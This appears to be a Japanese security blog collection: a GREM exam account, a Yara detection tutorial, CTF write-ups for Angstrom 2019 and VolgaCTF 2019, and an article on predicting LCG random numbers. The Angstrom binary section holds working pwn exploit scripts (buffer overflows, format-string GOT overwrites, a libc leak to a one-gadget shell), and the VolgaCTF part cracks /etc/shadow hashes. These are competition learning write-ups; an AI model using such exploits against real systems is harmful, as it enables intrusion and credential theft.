当時は、朝起きてすぐに昨日の復習をして、試験開始の1時間前ぐらいに試験会場に向かった。事前に本人確認などの手続きがあるため、最低でも15分前に来いと書かれていた。持ち物としては、私が受けた試験会場(もしくはGIAC)では、顔写真付きの公的証明書系が2つ必要だったので、パスポートとマイナンバーカードを持っていた。また、試験予約したときのメールも印刷しろと書かれていたので、持っていった。正直ここらへんは、人の記事読むよりはちゃんと自分で現時点で必要なものを確認することをおすすめする。その他、トレーニングテキスト一式と紙の英和辞典を持っていた。

試験中

パソコンでぽちぽちやるのだが、トレーニングテキストを持ち込むとやたらと机が狭くなり難しかった。それに加え辞書などを持ち込んでいると机が狭く圧迫感を感じるので気をつけてほしい。試験中は、ひたすら問題解くのとテキストや紙の辞書をめくりまくった記憶がある。私の場合は、模擬試験でかなり時間が余っていたので、すぐに答えがわかっても再度テキストを見直して本当にあってるかなどを再確認したりして解いていった。これでケアレスミスを防げたので、この作業が合否を分けたと思う。結果として、1時間30程度で本試験を終えた。また、本試験の特徴として、わからない問題など後で見返すために問題をスキップできるのだが、結局10問ほどはそれをやって最後に解いた。定期的に、「あーこの話どこかで見たけどテキストで見つからねぇ・・・」みたいなのがやってくるから、そういいった問題はすぐにスキップした。最終問題を解き終えると、その場で合否がわかる。そのため、「この問題があってれば合格できる!」といった願掛けみたいなことを脳内で思って答えた。最終問題を答え、出てきた画面には、合格を表す文章が現れていた。やったぜ。

やっておけばよかったこと

合格しておいてアレだが、個人的にやっておけばよかったことを箇条書きでまとめておく。

  • もっと詳細にテキストを読み込む
  • テキストだけでとどまらず用語や挙動などをインターネットで調べる
  • 英語の勉強
    • 文意が読み取りにくいことがあり、何を問われているか若干わからず時間を溶かした
  • 紙の辞書をめくる練習
    • 久しぶりで結構もたついた

おわりに

以上が、GREM合格までの話である。一般に、資格試験というのは比較的勉強した成果がちゃんとついてきてくれるものだと思っている。受ける方は、ぜひいっぱい勉強して受かってほしい。この試験勉強を通して学んだことはとても有意義で良いスキルが身についたと思った。某なんちゃら支援士よりもよっぽどスキルが身についた気がする。

所感だが、なんとかGWの勉強の成果が出てよかった。実は、本試験は、受験期限日のギリギリに受ける予定だったのだが、模擬試験でスコアがふるわず若干ヤケになって模擬試験を受けた翌日に試験を申し込んでいた。その結果、夜に飲み会があるのに、午前中に試験を受けるというアホなスケジュールになってしまった。不合格だったら落ち込んで飲み会に行くつもりだったが、それは避ける事ができたよかった。

最後に、勉強時間を捻出するために、家事など全面的に協力してくれた奥さんに感謝したいと思う。

平成のうちに理解しておくYara 入門

“平成も終わるし、知ったかぶりしてる技術を令和に持ち越さないようにしような”

目次

  • Yara とは
  • はじめてのYara ルール
  • 文字列を用いたYara ルール
  • 正規表現を用いたYara ルール
  • 複数条件を用いたYara ルール
  • Yara の便利機能
  • モジュール機能を用いたYara ルール
  • Pythonから利用するYara ルール
  • まとめ

Yara とは

Yaraは、「Yara ルール」と呼ばれる専用のルールを用いて、マルウェアや悪意あるファイルなどを検知することのできるツールです。Yara ルールでは、文字列による検査や正規表現、論理条件などをサポートしており複雑なルールを構築することもできます。利用例として、あるマルウェアファミリーの特徴をYara ルールとして作成しておくことで、新しいマルウェアが発見されたときに既知のマルウェアファミリーに性質が近いかどうかなどを検知することができます。Yara は、Cuckoo Sandboxなど他のセキュリテイツールと連携していることが多く、セキュリテイに関わる人間としては、一度読み書きしておいた方が良いツールの1つです。本記事では、Yara を使ったこと無い人向けに基本的な概念やルールを幅広くご紹介します。
まずは、Yara を利用するためにインストールしましょう。Ubuntu では、aptからインストールすることができます。

$ sudo apt install yara

また、Macではbrewからインストールすることが可能です。

$ brew install yara

インストールできたら、以下のコマンドを入力して、Yara のバージョンを確認してください。なお本記事では、バージョン3.9.0を対象に執筆しています。

$ yara --version
3.9.0

はじめてのYara ルール

では、さっそくはじめてのYara ルールを作成してみましょう。以下に、必ず検知するルールを示します。

// hello_rule.yara
rule hello
{
    condition:
        true
}

Yaraでは、ruleキーワードを用いてルールを作成します。ここでhelloはルール名にあたり、実際の条件がconditiontrueのときに検知することを意味しています。本例では、一般的なプログラミング言語と同様に、条件文が必ず真となります。そのため、必ず検知することができます。また、先頭の1行目は、コメント文です。Yara ルールのファイルの拡張子は、.yara.yarの場合が多いです。
では、このルールを用いて実際に検知するか確認してみましょう。そのために検査対象となるファイルをhello.txtとして以下の内容で作成してください。

HelloWorld!

以下の以下コマンドを実行してください。

$ yara hello_rule.yara hello.txt
hello hello.txt

本コマンドでは、hello.txtファイルに対して、hello_rule.yaraを用いて検査しています。また、helloというルールでhello.txtが検知していることがわかります。 Yara ルールによる検査は、ファイルの他にディレクトリやPIDを指定することもでき、それらの検査も行うことが可能となっています。

Yara ルールは、特別なシンタックスで書かれているので、エディタ等のシンタックスハイライトや補完プラグインの利用をおすすめします。Emacs ユーザならば、melpaでyara-modeが配布されているので、packageでインストールすることができます。

文字列を用いたYara ルール

先程の例では、無条件に合致するルールを作成していました。次は、hello.txtに格納されているHelloWorld!という文字列を含んでいるファイルを検知するルールを作成してみましょう。conditionの条件として、検知したい文字列を設定します。

rule hello_string
{
    condition:
        "HelloWorld!"
}

本ルールを用いて、先程と同様に検査してみましょう。

$ yara hello_string_rule.yara hello.txt
hello_string_rule(5): warning: Using literal string "HelloWorld!" in a boolean operation.
hello_string hello.txt

先程と同様に検知できましたが、警告が出ています。これは、文字列リテラルを用いて直接条件を設定しているため出ています。ルールの中で文字列を変数として定義し、その変数を用いることでこの警告は出力されなくなります。以下のようにルールを変更してください

rule hello_string
{
    strings:
        $s = "HelloWorld!"
    condition:
        $s
}

stringsキーワードを用いて、変数を定義することができます。再度検査すると警告文が出てきません。

$ yara hello_string.yara hello.txt
hello_string hello.txt

Yara では、変数の後に様々なキーワードを設定することでより柔軟に検査することができます。例えば、以下のルールでは、検知したい文字列の後に、nocaseを記載することで、case-insentive に文字列を認識し、検査してくれます。そのため、hEllOwORLD! といった文字列も検知することができます。

rule hello_string
{
    strings:
        $s = "HelloWorld!" nocase
    condition:
        $s
}

nocaseの他にも、wideでUnicode文字列などの場合も検知することが可能となります。もしAscii文字列とUnicode文字列を両方検知したい場合は、wideascii の両方をつけることで可能となります。
fullwordを設定すると、検知した文字列が、アルファベット以外で終端してる場合のみ検知することが可能となります。(例:apple を検知したい文字列に設定している場合に、applejuice.comは検知しないが、apple.comは検知することができる)

正規表現を用いたYara ルール

Yara では、正規表現を用いた検査を行うことができます。例えば、aから始まる文字列を検知する場合を考えてみます。正規表現を用いる場合は、以下のように"ではなく、/で囲います。

rule regexp
{
    strings:
        $s1 = /^a/
    condition:
        $s1
}

また、正規表現においても、nocaseのようなキーワードを付与することもできます。

複数条件を用いたYara ルール

今までのルールでは、単一の条件にマッチした場合でしたが、conditionに、論理演算子を用いることで、より複雑な条件を構築することができます。例として、以下の内容でhello2.txtを作成してください。

Hello World!

そして、hello2.txtを先程作成したhello_string_rule.yaraで検査してみてください。

$ yara hello_string_rule.yara hello2.txt

結果として検知されず何も表示されません。hello_string_rule.yaraでは、HelloWorld!をルールにしていたため、間にスペースがあるhello2.txtでは検知することができませんでした。そこで次に、Hello World!も条件として加え、HelloWorld! またはHello World!の場合に検知するようにルールを作成します。

rule hello_string
{
    strings:
        $s1 = "HelloWorld!"
        $s2 = "Hello World!"
    condition:
        $s1 or $s2
}

上記ルールでは、文字列として2つ定義し、それらをorで接続することで条件を構築しています。以下のようにhello.txthello2.txtの両方を検査してみましょう。

$ yara hello_string2_rule.yara hello2.txt
hello_string hello2.txt
$ yara hello_string2_rule.yara hello.txt
hello_string hello.txt

両方とも検知していることがわかります。
Yara には、or以外にもandnotなど様々な条件に使えるキーワードがあります。詳しくは、公式ドキュメントを参照してください。

Yara の便利機能

ここでは、個人的に便利そうだなと思った機能をいくつかご紹介します。

特別な値を用いたルール

Yara は、主にマルウェアを対象として検知を行うツールなため、標準で文字列マッチ以外にも便利な機能が備わっています。例えば、以下は、対象ファイルのファイルサイズが200KBより大きかった場合に検知するルールの例です。filesizeは、特別な値で元から検査対象のファイルのサイズが格納されています。

rule FileSizeExample
{
    condition:
       filesize > 200KB
}

また、後述するモジュール機能を用いることで、より多くの特別な値をルールで利用することができます。

Yara ルールのメタデータ

Yara ルールには、メタデータの設定を行うことが可能です。rule中に、metaキーワードを用いることで、メタデータを格納することができます。以下に例を示します。

rule FileSizeExample
{
    meta:
       description = "File size check"
    condition:
       filesize > 200KB
}

このルールでは、descriptionというメタデータを設定しています。このメタデータは、yara コマンドのオプション-m を設定することで表示することができます。

$ yara -m elf_rule.yara hello
elf_64 [description="File size check"] hello

Yara ルールのタグ

メタデータと似た機能として、タグの設定を行うことも可能です。ルール名の後に、:でタグ名を記載します。複数設定した場合は、スペースで分割して記載します。以下にhello_ruleにタグを設定した例を示します。

rule hello : myfirstrule
{
    condition:
        true
}

rule hello2 : mysecondrule
{
    condition:
        true
}

helloルールには、myfirstrulehello2ルールには、mysecondruleというタグを設定しています。今までのようにこのルールを用いて検査を行うと、以下のようにhellohello2の両方のルールにマッチしていることがわかります。

$ yara hello_rule.yara hello.txt
hello hello.txt
hello2 hello.txt

しかしながら、タグを設定することで、特定のタグのルールのみを表示するといったフィルターのような処理を行うことができます。オプション-t に、myfirstruleを設定することで、helloルールのみを表示することが可能です。

$ yara -t myfirstrule hello_rule.yara hello.txt
hello hello.txt

Yara ルールを分割管理

1ファイルに多くのYara ルールを記載することは、管理上の観点からも好ましくありません。そこで、Yara ではinclude文を利用することで分割されたファイルを読みこむことが可能となります。以下の例では、最初に作ったhello_ruleを読み込んでいます。

include "./hello_rule"
rule regexep
{
    strings:
        $s1 = /^a/
    condition:
        $s1
}

モジュール機能を用いたYara ルール

Yara には、モジュール機能があります。特に、PE モジュールは、マルウェア解析者にとってよく使うモジュールの1つです。PE モジュールの他にも、ELF モジュールやCuckoo モジュール、Hash モジュール、Magic モジュールなどがあります。モジュールは、import 文を用いて読み込みます。今回は、ELF モジュールを用いた例を見てみましょう。以下は、ELFバイナリがx64向けの場合検知するルールです。

import "elf"

rule elf_64
{
    condition:
        elf.machine == elf.EM_X86_64
}

本ルール検証のために、Hello World!と表示するELFバイナリを作成します。以下のC言語のファイルを作成してください。

#include <stdio.h>
void main() {
  printf("Hello World!");
}

以下のようにコンパイルして、実行ファイルを作成してください。

$ gcc hello.c -o hello

作成したELFバイナリに対して検査をすると検知していることがわかります。

$ yara elf_rule.yara hello
elf_64 hello

次に、IOCなどでもよく使われるハッシュ値を用いたルールを作成してみましょう。ハッシュ値を求める処理は、Hash モジュールを読み込むことで利用できます。Hash モジュールでは、md5やsha1、 sha256の代表的なハッシュアルゴリズムによるハッシュ値が求められます。まずは、検査対象となるhello.txtのsha256ハッシュ値を求めてみましょう。

$ shasum -a 256 hello.txt
209a3f843d2a572c2d66457dd7c8a6120fa308949867a5ebed5f4dca08fe4920  hello.txt

では、このハッシュ値を用いて、読み込んだファイルのハッシュ値と等しかったら検知させるルールを作成してみましょう。

import "hash"
rule sha256
{
     condition:
         hash.sha256(0, filesize) == "209a3f843d2a572c2d66457dd7c8a6120fa308949867a5ebed5f4dca08fe4920"
}

Hash モジュールのハッシュ値を求める機能では、2つの引数を設定できます。本例における前者の0は、ファイルのオフセットを示しています。つまり、ファイルの先頭からのハッシュ値を求めようとしています。ファイルオフセットを適切に設定することで、生の攻撃ペイロードの不要部分を飛ばし、適切な位置からハッシュ値を求めることも可能となります。また、2つ目の引数は、サイズを示しており、今回の例だとfilesizeつまり、ファイル全体を示しています。そのため、第1引数に0、第2引数にfilesizeを設定することで、ファイル全体のハッシュ値を算出することができます。本機能における戻り値のハッシュ値は、lowercase で帰ってくるため、比較する際には気をつけてください。

Pythonから利用するYara ルール

Yara ルールのファイルは、yaraコマンドだけでなく、Pythonから利用することも可能です。Python から利用することで、よりプログラマブルにYara を利用することができるため、システムに組み込むことが容易になります。利用するためには、yara-pythonというライブラリをインストールしてください。

$ pip install yara-python

では、2つ目に作成したhello_string_ruleのYara ルールファイルを読み込んで検査してみましょう。以下の検査スクリプトをhello.pyとして作成してください。

import yara
rules = yara.compile('hello_rule.yara')
result = rules.match('hello.txt')
print(result)

上記スクリプトを実行してください。

$ python hello.py
[hello_string]

実行すると予定通り検知していることがわかります。また、検知したファイルがない場合は、空の配列が帰ってくるため注意してください。

まとめ

今回、マルウェアなどを検知するルールベースのツールYara を見てきました。Yara は、文字列やファイルサイズ、バイナリの情報などを様々な値を用いて柔軟にルールを作成することができます。また、Pythonから利用するなどプログラマブルな使い方も可能となっています。ぜひYara を用いて様々な悪意ある挙動をするファイルを検知していきましょう。

Angstrom2019 writeup

Misc

IRC

  • freenodeに入るとFLAG
  • actf{like_discord_but_worse}

The mueller Report

  • PDFが渡されるので、とりあえずactfでgrepするとFLAG
  • actf{no0o0o0_col1l1l1luuuusiioooon}

Blank PDF

  • PDFが渡されるが開けず、fileコマンドで見るとPDFとして認識されていないためヘッダーを見るとマジックナンバーがかけているので直してあげると開けるようになりFLAG
  • actf{knot_very_interesting}

Paper Trail

  • pcapngが渡されるので、Follow TCP StreamするとIRCで1文字ずつFLAGを送信している
  • actf{fake_math_papers}

Scratch It Out

  • project.jsonという謎のjsonファイルが渡されるので、キーでいろいろぐぐる&問題名からプログラミング言語Scratchの話だとわかる
  • project.jsonをzipで圧縮し、htt@s://scratch.mit.edu でファイルを読み込まされるとゲームが復元される
  • 最初の項目が、「旗が押されたとき」なので、画面右らへんの緑色の旗を押すと音声とともにFLAGがでる
  • 地味に面白い
  • actf{Th5_0pT1maL_LANgUaG3}

Web

Control you

  • HTMLソースを見てFLAG
  • actf{control_u_so_we_can’t_control_you}

Crypto

Classy Cipher

  • ソースコードが渡され中を見るとシーザ暗号なのでソルバを書く
  • actf{so_charming}
encrypted = ':<M?TLH8<A:KFBG@V'

for i in range(0xff):
    for c in encrypted:
        print(chr((ord(c)-i) % 0xff), end='')

Really Secure Algorithm

  • RSAのパラメータがe, p, q, cが渡されるので復号するだけ
  • actf{really_securent_algorithm}
require_relative '../../tools/ctf/crypto.rb'

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

rsa = RSA.new(e, p * q, p, q)
m = rsa.decrypt(c)
print([m.to_s(16)].pack("H*"))

Half and Half

  • ソースコードが渡されるので呼んでソルバを書くだけ
    • 24文字を12byteに分割しxor取った値に等しくなるようにする
    • フラグフォーマットは、actf{なので先頭5byteと後半の5byteもxorして判明(taste)
    • 問題文からtasteに合うような単語でcoffeeactf{の後に繋げると後半がgoodと文章が成り立つ
  • actf{coffee_tastes_good}

Runes

  • Paillier暗号のパラメータn, g と暗号文cが渡されるので復号するだけ
    • 復号時に素数p, qが必要になるが、提供されているnは、factordbでググるとすでに割れている
  • actf{crypto_lives}
require 'gmp'

n = GMP::Z(99157116611790833573985267443453374677300242114595736901854871276546481648883)
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791
g = GMP::Z(99157116611790833573985267443453374677300242114595736901854871276546481648884)
c = GMP::Z(2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869)
l = GMP::Z((p - 1).lcm(q - 1))
def L(u, n)
  (u - 1) / n
end
c_lambda = L(c.powmod(l, n.pow(2)), n)
g_lambda = GMP::Z(L(g.powmod(l, n.pow(2)), n).to_s.to_i).invert(n)
m = ((c_lambda * g_lambda) % n).to_s.to_i.to_s(16)
print([m].pack("H*"))

Binary

Aquarium

  • gets関数によるBOFがあるバイナリで、flag出力用の関数があるのでそこに飛ばすだけ
  • actf{overflowed_more_than_just_a_fish_tank}
#!/usr/bin/env ruby

require 'pwn'

#z = Sock.new "localhost", 9999
z = Sock.new "shell.actf.co", 19305

payload = "A" * 0x98 + p32(0x4011b6)
z.recvuntil ": "
z.sendline "1"
z.recvuntil ": "
z.sendline "1"
z.recvuntil ": "
z.sendline "1"
z.recvuntil ": "
z.sendline "1"
z.recvuntil ": "
z.sendline "1"
z.recvuntil ": "
z.sendline "1"
z.recvuntil ": "
z.sendline payload

puts z.recv

Chain of Rope

  • 名前からしてROPかと思ったけど、そうではなく単純なBOFでリターンアドレスをflag出力用関数に書き換えるだけ(Aquariumとまったく同じ)
  • actf{dark_web_bargains}
#!/usr/bin/env ruby

require 'pwn'

z = Sock.new "localhost", 9999
z = Sock.new "shell.actf.co", 19400

puts z.recvuntil("access\n")
z.sendline "1"

payload = "A" * 0x38 + p64(0x401231)
z.sendline payload

p z.recv

Purchases

  • FSBがある64bitバイナリで、flag出力用の関数があるのでそこに飛ばしてあげる
  • 関数の最後にGOTによるアドレス解決がされていないputs関数があるので、putsのGOTをflag出力関数で上書きする
    • 末尾2byteですむので楽に書き換えられる
  • actf{limited_edition_flag}
#!/usr/bin/env ruby
require 'pwn'
# z = Sock.new "localhost", 9999
z = Sock.new "shell.actf.co", 19011
puts z.recvuntil "? "
z.sendline "%4534c%10$hnAAAA\x18\x40\x40"
puts z.recvuntil "else. "
puts z.recv

Returns

  • Purchasesのflag出力用関数が無い版でそれ以外はすべて同じ
  • libcが配布されているので、FSBでlibcのアドレスリークして、GOT overwrite でOne gadgetに飛ばしてシェルを奪う
  • 出力バイトの関係から分割して書き込むために、はじめにputs@gotをmainに書き換えておき何度もFSBを使えるようにする
  • __stack_chk_fail@gotは、通常一度も呼ばれないため、ここのGOTをOne gadgetに書き換える
  • 最後に、puts@got__stack_chk_fail@gotになおしてあげればOne gadgetが実行される
  • actf{no_returns_allowed}
#!/usr/bin/env ruby
# coding: utf-8
require 'pwn'
#z = Sock.new "localhost", 8888
z = Sock.new "shell.actf.co", 19307
context.log_level = :debug
libc = ELF.new "./libc.so.6"
#z = Sock.new "shell.actf.co", 19011
puts z.recvuntil "? "

# Leaking libc address and overwriting puts@got to the entrypoint of main function
z.sendline "%4518c%11$hnAAAABBB%17$p\x18\x40\x40"
data = z.recvuntil "? "
data = data.gsub(/\s/,"")
libc_start_main = data.match(/BBB(.*)@@\./)[1].chop.to_i(16) - 240
libc_base = libc_start_main - libc.symbols['__libc_start_main']
puts "libc base address = #{libc_base.to_s(16)}"

one_gadget = libc_base + 0xf02a4
high = (one_gadget & 0xffffffff00000000) >> 32
low = one_gadget & 0xffffffff
llow = (low & 0xffff0000) >> 16
hlow = low & 0xffff

# Overwriting __stack_chk_fail@got to one gadget RCE
payload = "%#{high}c%11$hnAAAABBBBBBB\x2c\x40\x40"
z.sendline payload
z.recvuntil "? "

payload = "%#{hlow}c%11$hnAAAABBBBBBB\x28\x40\x40"
z.sendline payload
z.recvuntil "? "

payload = "%#{llow}c%11$hnAAAABBBBBBB\x2a\x40\x40"
z.sendline payload
z.recvuntil "? "

STDIN.gets
payload = "%4892c%11$hnAAAABBB%17$p\x18\x40\x40"
z.sendline payload

z.interact

VolgaCTF 2019 writeup

Shadow cat

  • /etc/shadowencrypted.txtが渡される
  • /etc/shadowには、1文字のユーザ名とその暗号化されたパスワードなどが乗っており、encrypted.txtにはその1文字で構成される文字列が含まれており、単一替え字暗号だとわかる
  • /etc/shadowのパスワードを総当たりで解き、得れた替え字表を使って置換するコードを書いて実行したらFLAG
#!/usr/bin/env ruby

require 'unix_crypt' # gem install unix-crypt
org = []
ans = []
lines = File.read("./shadow.txt").split("\n")
lines.each do |line|
  org << line.split(":")[0]
  enc = line.split(":")[1]
  salt = line.split("$")[2]
  
  0x1f.upto(0x7e) do |i|
    hashpass = UnixCrypt::SHA512.build(i.chr, salt)
    if hashpass == enc
      ans << i.chr
      puts "Passed"
      break
    end
  end
end

encrypted = File.read("./encrypted.txt").chomp
puts "VolgaCTF{#{encrypted.tr(org.join(""), ans.join(""))}}"
  • VolgaCTF{pass_hash_cracking_hashcat_always_lurks_in_the_shadows}

線形合同法で生成される乱数値を予測する

はじめに

線形合同法(LCG)とは、至極一般的かつ簡易に実装することができる乱数生成手法の1つです。先日行われたVolgaCTF 2019では、この線形合同法により生成される乱数値を予測する問題(問題名LG)が出題されました。本問題ではx0 ~ x6に相当する6つの乱数が表示され、それを元に次の値を算出する問題です。

線形合同法

線形合同法は、以下の式で定義されます。

x1 = (a * x0 + c) % p

このとき、x0は乱数のseed値、a, c, pがパラメータとなり適切な値を選びます。今回の問題では、x0 ~ x6までの値が与えられ、その次の値を入力するといったものでした。「a, c, pがわからないと無理じゃない?w」と思ってしまったのですが、どうやら行列演算することで「a, c, p」を算出可能らしいです。

線形合同法のパラメータの算出

まずはじめに、各種x0 ~ x6を用いて以下の4つの行列を作成します。それらの行列式を用いて、各行列式の最大公約数(GCD)を算出します。これが、「p」に相当します。その後、(x3 - x4) と(x2 - x3)の法pにおける逆元を乗算し、再度pで割ると「a」になります。最後に、(x4 - a * x3) % pで割った際の剰余がcになる。以上の計算を行うコードを以下に示す。

#!/usr/bin/env python
#coding: utf-8

import math
import numpy as np

x0 = 64302589647963933737451564
x1 = 23099347408308738343740115
x2 = 60779187967701597680605077
x3 = 41531243105709646792416331
x4 = 71461317334046189800115379
x5 = 50094315434186546595562390
x6 = 27719142972686291997765807

# なんかnp.linalg.detがエラー吐くので作成
def det(matrix):
    return matrix[0][0] * matrix[1][1] - matrix[0][1] * matrix[1][0]

# https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

matrix0 = np.array([
    [x1 - x0, x2 - x1],
    [x2 - x0, x3 - x1]
])

matrix1 = np.array([
    [x2 - x0, x3 - x1],
    [x3 - x0, x4 - x1]
])

matrix2 = np.array([
    [x3 - x0, x4 - x1],
    [x4 - x0, x5 - x1]
])

matrix3 = np.array([
    [x4 - x0, x5 - x1],
    [x5 - x0, x6 - x1]
])

p0 = math.gcd(det(matrix0), det(matrix1))
p1 = math.gcd(p0, det(matrix2))
p = math.gcd(p1, det(matrix3))

a = ((x3 - x4) * modinv(x2 - x3, p)) % p
c = (x4 - a * x3) % p

assert x1 == (a * x0 + c) % p, "Not eqaul"
assert x2 == (a * x1 + c) % p, "Not eqaul"
assert x3 == (a * x2 + c) % p, "Not eqaul"
assert x4 == (a * x3 + c) % p, "Not eqaul"
assert x5 == (a * x4 + c) % p, "Not eqaul"
assert x6 == (a * x5 + c) % p, "Not eqaul"
print((a * x6 + c) % p) #=> 54571278391299526410540376

おわりに

本記事では、線形合同法における乱数値の予測方法についてまとめた。パラメータが不明な場合でも本手法を用いることで解読なので覚えておきたい。